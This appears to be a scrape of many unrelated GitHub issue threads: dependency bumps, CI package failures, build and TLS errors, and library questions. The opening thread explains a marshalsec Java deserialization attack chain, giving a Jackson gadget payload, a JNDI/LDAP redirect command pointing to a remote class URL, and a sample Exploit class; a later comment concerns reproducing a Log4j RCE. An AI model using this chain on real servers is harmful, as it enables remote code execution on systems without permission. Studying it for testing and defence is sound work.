["java.util.HashSet",[["org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",{"beanFactory":["org.springframework.jndi.support.SimpleJndiBeanFactory",{"shareableResources":["ldap://localhost:1389"]}],"adviceBeanName":"ldap://localhost:1389"}],["org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",{}]]]

Running gadget SpringAbstractBeanFactoryPointcutAdvisor:
Failed to achieve RCE:Did not trigger RCE
org.springframework.beans.factory.BeanNotOfRequiredTypeException: Bean named 'ldap://localhost:1389' is expected to be of type 'org.aopalliance.aop.Advice' but was actually of type 'com.sun.jndi.ldap.LdapCtx'
	at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:122)
...
com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:63)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3789)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2833)
	at marshalsec.Jackson.unmarshal(Jackson.java:78)
	at marshalsec.Jackson.unmarshal(Jackson.java:53)
	at marshalsec.MarshallerBase.test(MarshallerBase.java:238)
	at marshalsec.MarshallerBase.doRun(MarshallerBase.java:188)
	at marshalsec.MarshallerBase.run(MarshallerBase.java:121)
	at marshalsec.Jackson.main(Jackson.java:262)

The flow essentially is:

Target unmarshalls payload, makes JNDI/LDAP lookup to the LDAPRefServer
LDAPRefServer returns a reference pointing to a URL classpath (the webserver)
Target loads class from the remote classpath and executes attacker provided code

You'll also need a webserver running somewhere hosting the code you ultimately want to execute.
E.g. Exploit.java
public class Exploit {

	static {
		System.err.println("Pwned");
		try {
		    // trigger an access check so that the test sees this has been executed
		    String user = System.getProperty("user.name");
		} catch ( Exception e ) {
		}
	}
}

compile that javac Exploit.java and put it on that webserver. Let's say that it is now accessible (from the exploitation target) as http://<IP_ADDRESS>/foo/Exploit.class then you would run the LDAPRefServer as
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<IP_ADDRESS>/foo/#Exploit

Hope that clears it up.

Great, Thanks. I got the C3P0 exploit to work with this setup.

I'm trying to reproduce this exploit.
All is done and when i run the request, the LDAP server shows me
"Send LDAP reference result for Log4jRCE redirecting to :/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine.
The server is correctly up, and the link :/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be??
Thank you for the support


build(deps): bump @shopify/flash-list and react-native-collapsible-tab-view

This PR resolves PHIRE-957
Description
build(deps): bump @shopify/flash-list and react-native-collapsible-tab-view

PR Checklist

[x] I have tested my changes on iOS and Android.
[x] I hid my changes behind a feature flag, or they don't need one.
[x] I have included screenshots or videos, or I have not changed the UI.
[x] I have added tests, or my changes don't require any.
[x] I added an app state migration, or my changes do not require one.
[x] I have documented any follow-up work that this PR will require, or it does not require any.
[x] I have added a changelog entry below, or my changes do not require one.

To the reviewers 👀

[ ] I would like at least one of the reviewers to run this PR on the simulator or device.

Changelog updates
Changelog updates

Cross-platform user-facing changes

iOS user-facing changes

Android user-facing changes

Dev changes

bump @shopify/flash-list and react-native-collapsible-tab-view - gkartalis

Need help with something? Have a look at our docs, or get in touch with us.

This PR contains the following changes:

Dev changes (bump @shopify/flash-list and react-native-collapsible-tab-view - gkartalis)

  Generated by :no_entry_sign: dangerJS against d7ce1faf77fd0851179a6842192e19cb285d28ca

tested out in both android and iOS and works as expected ⭐


Adding a logging interceptor to the connection

Hi,
I was wondering if it's possible to log http request/response details to the Salesforce from the library, so that it would be a less black box during debug. Right now it's only possible to catch errors and guess what kind of payload and what url was used to make a request to Salesforce.
Something like this - https://github.com/new10com/axios-logger ?

triaging old issues...
you can set a logLevel when creating the connection, that will log requests details:
https://jsforce.github.io/jsforce/types/connection.ConnectionConfig.html


Error when saving files to OneDrive

VSCode Version: Code 1.14.2 (cb82febafda0c8c199b9201ad274e25d9a76874e, 2017-07-19T23:34:09.706Z)
OS Version: Windows_NT ia32 10.0.15063
Extensions:

Extension
Author (truncated)
Version

platformio
for
0.2.2

cpptools
ms-
0.12.1

platformio-ide
pla
0.5.1

arduino-vscode
ste
0.2.2

vscode-arduino
vsc
0.2.4

debug
web
0.21.2

(3 theme extensions excluded)
Hi, I am storing all my source files on OneDrive so can easily sync and share across PC and Mac etc.
I find very regularly that I get an error when trying to save files - I get a file it locked or busy. I check on other devices and they are not open and in some cases and close OneDrive on all devices and sill same issue.

Steps to Reproduce:

Saving a file to OneDrive folder (issue occurs at random)

Reproduces without extensions: Yes

very likely dup of https://github.com/Microsoft/vscode/issues/27285

https://github.com/Microsoft/vscode/issues/27285


remove encoding of the catalog id

~It is returned from ermrest as encoded so it should still be decoded~ (Weird side affect i had witnessed before making all changes to not "encode"). No need to encode the catalog id before using it in the urls.

The getAssociationRef is the only other place that I found that we're doing catalog encoding and is missing in this PR.
This actually shows that we (mainly me), should have used just one central place for creating the URLs. It would have made it a lot easier to do this task.


Future.of and Future.run waiting a duration of time before running

JavaScript has
// waits 123 millis before calling the function
setTimeout(() => ..., 123);

This PR provides Future.run and Future.of methods that execute the given Supplier/Runnable after waiting a duration.

Ready for review!

Current coverage is 96.73% (diff: 90.90%)

Merging #1591 into master will decrease coverage by 0.01%

@@             master      #1591   diff @@
==========================================
  Files            88         88
  Lines         10667      10672     +5
  Methods           0          0
  Messages          0          0
  Branches       1820       1821     +1
==========================================
+ Hits          10321      10324     +3
- Misses          202        203     +1
- Partials        144        145     +1

Powered by Codecov. Last update 966ee43...f62d52c

Oh, javadoc formatting scrambled - will push --force a better version...

Latest commit takes ExecutorService latency into account (including tests)

@danieldietrich?

@paplorinc by accident during a late-night coding session. thank you!

https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/concurrent/EventExecutorGroup.java#L105

Maybe we should use ScheduledExecutorService resp. ScheduledThreadPoolExecutor in order to decorate tasks...
http://download.java.net/java/jdk9/docs/api/java/util/concurrent/ScheduledThreadPoolExecutor.html


[doc incomplete] Update test docs

Ⅰ. Issue Description
The test docs https://github.com/dragonflyoss/Dragonfly/blob/master/test/README.md is kind of outdated after we move to go modules. We have to update it. BTW, should we move this doc to https://github.com/dragonflyoss/Dragonfly/blob/master/docs/test_guide/test_guide.md ?

/assign

BTW, should we move this doc to https://github.com/dragonflyoss/Dragonfly/blob/master/docs/test_guide/test_guide.md ?

I agree with that. 😄

Is there any information to be updated?


Vote page: fix lag

Current dependencies on/for this PR:

main

PR #138   👈

This stack of pull requests is managed by Graphite.


[ci] CUDA jobs failing when installing packages

Description
All the CUDA jobs across several PRs (e.g. #5997, #5999) started failing yesterday, with the following errors.
The following packages were automatically installed and are no longer required:
  clamav clamav-base clamav-freshclam libclamav9 libllvm3.9 libtfm1
  linux-azure-5.4-cloud-tools-5.4.0-1031
  linux-azure-5.4-cloud-tools-5.4.0-1032
  linux-azure-5.4-cloud-tools-5.4.0-1034
  linux-azure-5.4-cloud-tools-5.4.0-1035
  linux-azure-5.4-cloud-tools-5.4.0-1036
  linux-azure-5.4-cloud-tools-5.4.0-1039
  linux-azure-5.4-cloud-tools-5.4.0-1040
  linux-azure-5.4-cloud-tools-5.4.0-1041
  linux-azure-5.4-cloud-tools-5.4.0-1043
  linux-azure-5.4-cloud-tools-5.4.0-1044
  linux-azure-5.4-cloud-tools-5.4.0-1046
  linux-azure-5.4-cloud-tools-5.4.0-1047
  linux-azure-5.4-cloud-tools-5.4.0-1048
  linux-azure-5.4-cloud-tools-5.4.0-10[51](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:52)
  linux-azure-5.4-cloud-tools-5.4.0-10[55](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:56)
  linux-azure-5.4-cloud-tools-5.4.0-10[56](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:57)
  linux-azure-5.4-cloud-tools-5.4.0-10[58](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:59)
  linux-azure-5.4-cloud-tools-5.4.0-10[59](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:60)
  linux-azure-5.4-cloud-tools-5.4.0-10[61](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:62)
  linux-azure-5.4-cloud-tools-5.4.0-10[62](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:63)
  linux-azure-5.4-cloud-tools-5.4.0-10[63](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:64)
  linux-azure-5.4-cloud-tools-5.4.0-10[64](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:65)
  linux-azure-5.4-cloud-tools-5.4.0-10[65](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:66)
  linux-azure-5.4-cloud-tools-5.4.0-10[67](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:68)
  linux-azure-5.4-cloud-tools-5.4.0-10[68](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:69)
  linux-azure-5.4-cloud-tools-5.4.0-10[69](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:70)
  linux-azure-5.4-cloud-tools-5.4.0-10[70](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:71)
  linux-azure-5.4-cloud-tools-5.4.0-10[72](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:73)
  linux-azure-5.4-cloud-tools-5.4.0-10[73](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:74)
  linux-azure-5.4-cloud-tools-5.4.0-10[74](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:75)
  linux-azure-5.4-cloud-tools-5.4.0-10[77](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:78)
  linux-azure-5.4-cloud-tools-5.4.0-10[78](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:79)
  linux-azure-5.4-cloud-tools-5.4.0-10[80](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:81)
  linux-azure-5.4-cloud-tools-5.4.0-10[83](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:84)
  linux-azure-5.4-cloud-tools-5.4.0-10[85](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:86)
  linux-azure-5.4-cloud-tools-5.4.0-10[86](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:87)
  linux-azure-5.4-cloud-tools-5.4.0-1089
  ... truncated ...
  linux-azure-5.4-tools-5.4.0-1091 nvidia-kernel-source-515 nvidia-utils-515
  xserver-xorg-video-nvidia-515
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 115 not upgraded.
3 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Setting up azure-mdsd (1.8.0-build.master.189) ...

Configuration file '/etc/default/mdsd'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
    Y or I  : install the package maintainer's version
    N or O  : keep your currently-installed version
      D     : show the differences between the versions
      Z     : start a shell to examine the situation
 The default action is to keep your current version.
*** mdsd (Y/I/N/O/D/Z) [default=N] ? dpkg: error processing package azure-mdsd (--configure):
 end of file on stdin at conffile prompt
Setting up auoms (<IP_ADDRESS>) ...

Configuration file '/etc/opt/microsoft/auoms/auoms.conf'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
    Y or I  : install the package maintainer's version
    N or O  : keep your currently-installed version
      D     : show the differences between the versions
      Z     : start a shell to examine the situation
 The default action is to keep your current version.
*** auoms.conf (Y/I/N/O/D/Z) [default=N] ? dpkg: error processing package auoms (--configure):
 end of file on stdin at conffile prompt
dpkg: dependency problems prevent configuration of azsec-monitor:
 azsec-monitor depends on auoms (>= 2.4.5); however:
  Package auoms is not configured yet.
  Version of auoms on system, provided by auoms:amd64, is <none>.

dpkg: error processing package azsec-monitor (--configure):
 dependency problems - leaving unconfigured
No apport report written because the error message indicates its a followup error from a previous failure.
Errors were encountered while processing:
 azure-mdsd
 auoms
 azsec-monitor
E: Sub-process /usr/bin/dpkg returned an error code (1)
Error: Process completed with exit code [100](https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15245982451?pr=5999#step:2:101).

Reproducible example
This is happening on master and all PRs.
(example build link)
Additional Comments
Some resources that might be helpful:

https://askubuntu.com/questions/1143551/which-option-to-choose-when-package-distributor-has-shipped-an-updated-version
https://askubuntu.com/a/402591/1651890

I just tried another rebuild on #5999, and this is still happening. (build link)
I think fixing this requires some administrative action. @shiyu1994 since you're the only one with access to the machine these CUDA jobs run on, could you please try the following:
Run the following on that machine, and choose Y if presented with that interactive menu.
sudo apt-get update
sudo apt autoremove
sudo apt-get install --no-install-recommends -y \
    curl \
    lsb-release \
    software-properties-common

Then try re-triggering the CUDA jobs, e.g. at https://github.com/microsoft/LightGBM/actions/runs/5619064630/job/15276054852?pr=5999.

@shiyu1994 can you please help?
Sorry to keep @-ing you, but development in the repo is blocked until these jobs are fixed and you're the only one with access. If I had access to the machine, I'd be happy to handle thiis.
I just tried re-running again, and they jobs failed the same way: https://github.com/microsoft/LightGBM/actions/runs/5648086657
This problem won't go away on its own.

@jameslamb Sorry for the late response. I'll check the machine.

I just tried re-running again, and the jobs failed the same way:
https://github.com/microsoft/LightGBM/actions/runs/5640538711/job/15486941200
@shiyu1994 if you don't have time to help with this, can I just have access to the machine so I can fix it? I want development to restart in the repo as soon as possible.

The issue is fixed. And now the cuda ci jobs seems ok to run.

https://github.com/microsoft/LightGBM/actions/runs/5640538711/job/15609500478

And sorry for the delay.

I'm trying with @guolinke to see if the machine can be safely accessed by other maintainers.

Thank you, that would be helpful!
As a general rule, having more than one person for every operational responsibility in the repo would improve the long-term health and sustainability of this project.

This issue was fixed a while ago, and we've moved the discussion about expanding access to administer the machine for these jobs into a private space.
This can be closed.


Showing updates for mods that i don't have in my mods

I guess it's because search system of modmanager, it show Litematica as addon of Litematica (GrabcraftLitematic)

Can i have your log?

latest.log
also when i click to update button on these type of mods (that i dont have), it says couldnt find jar for x

Ah it shows up because GrabcraftLitematic is the only litematica mod on modrinth
I need to change the update system to a clearer one.

Can you check this again with this version:
Artifacts.zip

fixed. probably... that build fixed this problem but i have very similar problem so i'll write this to here

i dont have this mods too but diffirent side of them is giving me error while trying to update:

ah libzoomer is probably part of OkZoomer think the detection of mods in mods isn't working correctly in some cases


rtest break due to Inception.zip 404

Any idea why it happened?
https://travis-ci.org/dmlc/mxnet/jobs/99377553#L3742

Thanks for letting me know!  I will upload a new one.

fixed

Thank you


test_mesh fails if run other than in top level

While working towards coping with MSH4.1 #129, on nschloe/meshio#330 to get nschloe/meshio#331 accepted, I was in the meshio source tree and tried to run the scikit-fem test suite to check that I wasn't breaking anything here; i.e.
pytest -n auto ../scikit-fem/tests

But then test_mesh.Loading.run_test tries
https://github.com/kinnala/scikit-fem/blob/f17d4366b6ee22c57532842339bf8bced120e2d9/tests/test_mesh.py#L49
which of course raises

FileNotFoundError: [Errno 2] No such file or directory: 'docs/examples/box.msh'

Use of __file__ as in #120 might work.

Actually of course it fails from in tests too.


Local vs Global Information

Hello again,
I wanted to ask about the node observations within this project. I see that although the agents are only meant to have access to the information within their visual radius (and their neighboring agents), they do have access to the location of their goal.
My question is, do they obtain the position of their goals through local observations or are they given this piece of global information from the beginning of each episode?
I am specifically referring to the _get_entity_feat_relative function in navigation_graph.py where the agents calculate the distance to their goal positions here:
https://github.com/nsidn98/InforMARL/blob/304e905d05b34d9bf06046eb7e03904b97a14231/multiagent/custom_scenarios/navigation_graph.py#L508

The agents know the global positions of their goals and also their location. This was motivated by the drone delivery systems where the drones know their target locations. I hope this answers your question!


Extract substring as arrays

Hello,
With jq, it is possible to treat string as array so we can extract substring from string, like this:
# echo '{"hr": "12%"}' | jq '.hr[:2]'
"12"

When I try do this with the exporter, I get :
msg="Failed to execute jsonpath" err="string is not array or slice"
Which is understable. Is there another way to acheive this ?

Duplicate with #88, my bad


Bump CDI API to 1.58.1

What this PR does
May help with the FOSSA lane failing

Fixes #
Why we need it and why it was done in this way
The following tradeoffs were made:
The following alternatives were considered:
Links to places where the discussion took place:
Special notes for your reviewer

Checklist
This checklist is not enforcing, but it's a reminder of items that could be relevant to every PR.
Approvers are expected to review this list.

[ ] Design: A design document was considered and is present (link) or not required
[ ] PR: The PR description is expressive enough and will help future contributors
[ ] Code: Write code that humans can understand and Keep it simple
[ ] Refactor: You have left the code cleaner than you found it (Boy Scout Rule)
[ ] Upgrade: Impact of this change on upgrade flows was considered and addressed if required
[ ] Testing: New code requires new unit tests. New features and bug fixes require at least on e2e test
[ ] Documentation: A user-guide update was considered and is present (link) or not required. You want a user-guide update if it's a user facing feature / API change.
[ ] Community: Announcement to kubevirt-dev was considered

Release note

Bump CDI APIs

/test pull-kubevirt-fossa

/close


Latest version of nuget package Microsoft.Bot.Builder not supported by .net framework version 4.6

While migrating the solution from Bot framework V3 to V4, if the .net framework version is 4.6(less than 4.6.1), the nuget packageMicrosoft.Bot.Builder and Microsoft.Bot.Builder.Integration.AspNet.WebApi is not compatiable. This is not mentioned in the Botframework migration documentation.

@vidyakdil When you try downloading or updating the Nuget versions with .netframewrok version 4.6, it shows an error that the version is not capable, which is helpful to understand that the .netframework version must be updated.

Thanks for your feedback. We are currently working on an update to our migration documentation and will make sure this is addressed.


jest-dev-server support

Contemplating to move to Playwright, but due to dependency to jest-puppeteer I need to make sure this plugin will work just as well. I could not find in the documentation if https://github.com/smooth-code/jest-puppeteer#start-a-server is supported. Could this be added and if it already is, the README updated with information about it.

@thernstig there is no jest-dev-server support right now. I'll take it in progress. I suppose it wouldn't take much time to support jest-dev-server

@mmarkelov stellar work 🥇


add commit command to cmd.go and main.go

Added the Commit command for gittuf-git command compatibility, and changed the working of the PullOrFetch command to use git calls from the command line instead of being reliant on gittuf packages (made it more gittuf independent)
Commit calles VerifyRef before actually committing, and prints out verification status, but the Commit happens regardless of whether the verification was successful or not.

heads up: experimental has been rebased / force pushed to


[NEMO-429] SWPP TEAM3 Code Smell Fix

JIRA: NEMO-429: SWPP TEAM 3 Code Smell Fix
Major changes:

Fixed code smells(SWPP Code Smell Session)

Notes:

We doubt if just adding transient prefix is good solution, so we didn't fix about it. Please let us know if it should be fixed.

By Team3
P.S. One of our members was absent today.

@johnyangk I reflected your review. Thank you!

@johnyangk I reflected it, thank you!


Compiling on arm

Hi I'm compiling this on Arm iMX.6 board, however when I run the makefile I receive the following;
arm-linux-gnueabi-g++ -c -ansi -Wall -g -O0 -fPIC  -Isrc/core -Iobjs
-o objs/src/core/srs_core.o src/core/srs_core.cpp
In file included from src/core/srs_core.cpp:24:0:
src/core/srs_core.hpp:132:6: error: #error "for arm, only support glibc <= 2.15"
make[2]: *** [objs/src/core/srs_core.o] Error 1
make[2]: Leaving directory /home/tmp/srs-develop/trunk' make[1]: *** [server] Error 2 make[1]: Leaving directory /home/tmp/srs-develop/trunk'

Hello friend, you need glibc 2.15 at least to be able to build it, this was an hard to find bug that winlin found, so, you will need at least glibc 2.15 and gcc 4.6.3 other way you can't build it for ARM.
to check your versions run:
ldd -> to check the version off glibc
gcc -v -> to check the version of gcc

Hi, thanks for the reply. I have checked the versions and there are newer than required? Results below.
architech@architech:/home/tmp/SRS-Ubuntu12-armv7cpu-1.0.30$ ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
architech@architech:/home/tmp/SRS-Ubuntu12-armv7cpu-1.0.30$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i686-linux-gnu/4.8/lto-wrapper
Target: i686-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 4.8.4-2ubuntu1~14.04' --with-bugurl=file:///usr/share/doc/gcc-4.8/README.Bugs --enable-languages=c,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.8 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.8 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --disable-libmudflap --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.8-i386/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.8-i386 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.8-i386 --with-arch-directory=i386 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-targets=all --enable-multiarch --disable-werror --with-arch-32=i686 --with-multilib-list=m32,m64,mx32 --with-tune=generic --enable-checking=release --build=i686-linux-gnu --host=i686-linux-gnu --target=i686-linux-gnu
Thread model: posix
gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04)

Yeah thats the problem, you need the versions I said, not superior versions.

ok I have managed to downgrade gcc to 4.3.4 struggling to downgrade libc to 2.15. I am trying to get this built to run as a build using Yocto which is currently running under a Ubuntu 14 build.

dup to #485


overhaul showcase

The motivation is that the showcase is becoming far too large to be useful. I filtered the apps for, basically, "apps that have some sort of interesting news coverage or technical blog post about them". The UI is a bit updated to also mention something about the information link. I also added the FB app itself.

By analyzing the blame information on this pull request, we identified @Andreyco and @manonthemat to be potential reviewers.

@facebook-github-bot shipit

Thanks for importing. If you are an FB employee go to Phabricator to review.

@facebook-github-bot shipit

Thanks for importing. If you are an FB employee go to Phabricator to review.

@facebook-github-bot shipit

Thanks for importing. If you are an FB employee go to Phabricator to review.


No desktop notification when tab active

If chrome is in background but teams is the active tab, I don't get desktop notifications.
lichess.org works with the same circumstances.
Tested on:
Chrome 80.0.3987.122 (Official Build)
Chrome 80.0.3987.149 (Official Build)

Have you enabled desktop notification setting ?

You need to enable chrome Notification settings as well. By default chrome blocks notifications.

"When tab active" I mean, if I select other tab than teams, desktop notification are coming.

@kogaba , I have shared this feedback with internal teams. Thanks for your feedback.


Closes #314 | Add dataloader for Indonesia chinese mt robust eval

Please name your PR after the issue it closes. You can use the following line: "Closes #314" where you replace the ISSUE-NUMBER with the one corresponding to your dataset.
Checkbox

[x] Confirm that this PR is linked to the dataset issue.
[x] Create the dataloader script seacrowd/sea_datasets/my_dataset/my_dataset.py (please use only lowercase and underscore for dataset naming).
[x] Provide values for the _CITATION, _DATASETNAME, _DESCRIPTION, _HOMEPAGE, _LICENSE, _URLs, _SUPPORTED_TASKS, _SOURCE_VERSION, and _SEACROWD_VERSION variables.
[x] Implement _info(), _split_generators() and _generate_examples() in dataloader script.
[x] Make sure that the BUILDER_CONFIGS class attribute is a list with at least one SEACrowdConfig for the source schema and one for a seacrowd schema.
[x] Confirm dataloader script works with datasets.load_dataset function.
[x] Confirm that your dataloader script passes the test suite run with python -m tests.test_seacrowd seacrowd/sea_datasets/<my_dataset>/<my_dataset>.py.
[x] If my dataset is local, I have provided an output of the unit-tests in the PR (please copy paste). This is OPTIONAL for public datasets, as we can test these without access to the data files.

@TysonYu
Also, could you upload __init__.py as well?

@TysonYu Also, could you upload __init__.py as well?

Sure. Done~

@TysonYu Thank you for the updates! now it's LGTM. Merging...


Fix ip whitelist middleware location

Change summary:

Fix ip whitelist middleware location

Related issues:

https://github.com/ainblockchain/ain-blockchain/issues/1081

Thanks for the swift review! @minsulee2


[Category] Fix/category

add unit test for some method

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:
:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
see 1 file with indirect coverage changes


Remove rhn_mirror code, it was a temporary bridge to RPM updates

@carbonin @jrafanie @Fryguy Please review.  I'm pretty sure this has been broken for a couple of years.
See also: https://github.com/ManageIQ/manageiq-ui-classic/pull/1381
cc @kbrock

😍

We may also want to delete the repo that we create in /repo...
That and the bit about the config files will probably be on the rpm side of things /cc @simaishi

@bdunne I'm merging anyway.  Please review the questions above and if you think they are needed, they can be a follow up PR.

🎉 ❤ ❤ ✂ 🔥

✂ 🔥 ✂ 🔥 ✂ 🔥
🍰  🍪 👏 🙇 😍 🎉

I've been out emoji'd by a pro
:trollface: @jrafanie

<3


nix-env fails any non-cache download for local build over TLS

Issue description
Since a few months, when I try to build something from a local checkout of nixpkgs on my laptop with nix-env, I get a consistent curl failure [ curl: (35) SSL connect error ] on anything outside of the cache.
A nix-prefetch-url of the same URL does work, but when use nix-env again it often fails again even though the right file with the right SHA256 is in the stor. It seems to consistently fail at last in the common case of a GitHub repo - even though it seems like a tar is downloaded, the store having that tar is not working out as I'd expect.
Steps to reproduce
E.g.:
nix-env -f ./ -iA bfg
installing ‘bfg-repo-cleaner-1.12.15’
these derivations will be built:
/nix/store/n9j333lnnxsix0x85knmknd9sl76j1m6-bfg-repo-cleaner-v1.12.15-src.drv
/nix/store/qhf5pq2iib3336k08aqvgzhsrkjrqcqi-bfg-repo-cleaner-1.12.15.drv
these paths will be fetched (53.97 MiB download, 63.36 MiB unpacked):
/nix/store/65fgdxymgvi4qzhs2vyhkinzvwrc15fy-sbt-0.13.15
fetching path ‘/nix/store/65fgdxymgvi4qzhs2vyhkinzvwrc15fy-sbt-0.13.15’...
building path(s) ‘/nix/store/wa341qg4014fjwfavw12mmy7w6warmcb-bfg-repo-cleaner-v1.12.15-src’
*** Downloading ‘https://cache.nixos.org/nar/0aa03haica572aw1n2k2izcgzm6md23wkvb7nhq75zvvxzpq6fdp.nar.xz’ (signed by ‘cache.nixos.org-1’) to ‘/nix/store/65fgdxymgvi4qzhs2vyhkinzvwrc15fy-sbt-0.13.15’...
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
trying https://github.com/rtyley/bfg-repo-cleaner/archive/v1.12.15.tar.gz
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (35) SSL connect error
error: cannot download bfg-repo-cleaner-v1.12.15-src from any mirror
Now I download the URI shown with nix-prefetch-url, which works:
nix-prefetch-url https://github.com/rtyley/bfg-repo-cleaner/archive/v1.12.15.tar.gz
downloading ‘https://github.com/rtyley/bfg-repo-cleaner/archive/v1.12.15.tar.gz’... [0/0 KiB, 0.0 KiB/s]
path is ‘/nix/store/sjwzkifmzc8pkvxbha0jbwpxna20amna-v1.12.15.tar.gz’
09lqd56sby1gi25d5dgwx1gd9ml5yr8rmmhzxyncn717sii9b3nv
But then, when I try nix-env -f ./ -iA bfg again:
trying https://github.com/rtyley/bfg-repo-cleaner/archive/v1.12.15.tar.gz
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (35) SSL connect error
error: cannot download bfg-repo-cleaner-v1.12.15-src from any mirror
builder for ‘/nix/store/n9j333lnnxsix0x85knmknd9sl76j1m6-bfg-repo-cleaner-v1.12.15-src.drv’ failed with exit code 1
killing process 1121
Technical details

System: 17.03.904.645137cdc9 (Gorilla)
Nix version:  nix-env (Nix) 1.11.8
Nixpkgs version: 17.03.1051.090ffd5fab

Just another thing that struck me as odd:
nix-env seems to use another version of libcurl than curl and nix-prefetch-url:
ldd /nix/store/lm0f0rm927pz0nc5pd7892a28zl5r16x-system-path/bin/nix-env | grep curl
libcurl.so.4 => /nix/store/dwhy25sivf9r6hh825hz27ciqqv5h07h-curl-7.53.1/lib/libcurl.so.4 (0x00007fe025efe000)
ldd /nix/store/lm0f0rm927pz0nc5pd7892a28zl5r16x-system-path/bin/curl | grep curl
libcurl.so.4 => /nix/store/dwhy25sivf9r6hh825hz27ciqqv5h07h-curl-7.53.1/lib/libcurl.so.4 (0x00007f3cbd9a6000)
ldd /nix/store/lm0f0rm927pz0nc5pd7892a28zl5r16x-system-path/bin/nix-prefetch-url | grep curl
libcurl.so.4 => /nix/store/dwhy25sivf9r6hh825hz27ciqqv5h07h-curl-7.53.1/lib/libcurl.so.4 (0x00007fdc7ad34000)

After countless modifications, the problem seems to have disappeared.


Cannot create network-rule for storage account

Describe the bug
On a newly-created storage account, I can no longer create a network-rule. This was working previous to 2.0.46 but I can't rule out that something else changed in my script.
To Reproduce

Create a fresh resource group using az group create --name my-test-resource-group --location eastus2
Create a fresh storage account using az storage account create --name my2345teststorageaccount --resource-group my-test-resource-group --location eastus2 --sku Standard_LRS --kind StorageV2
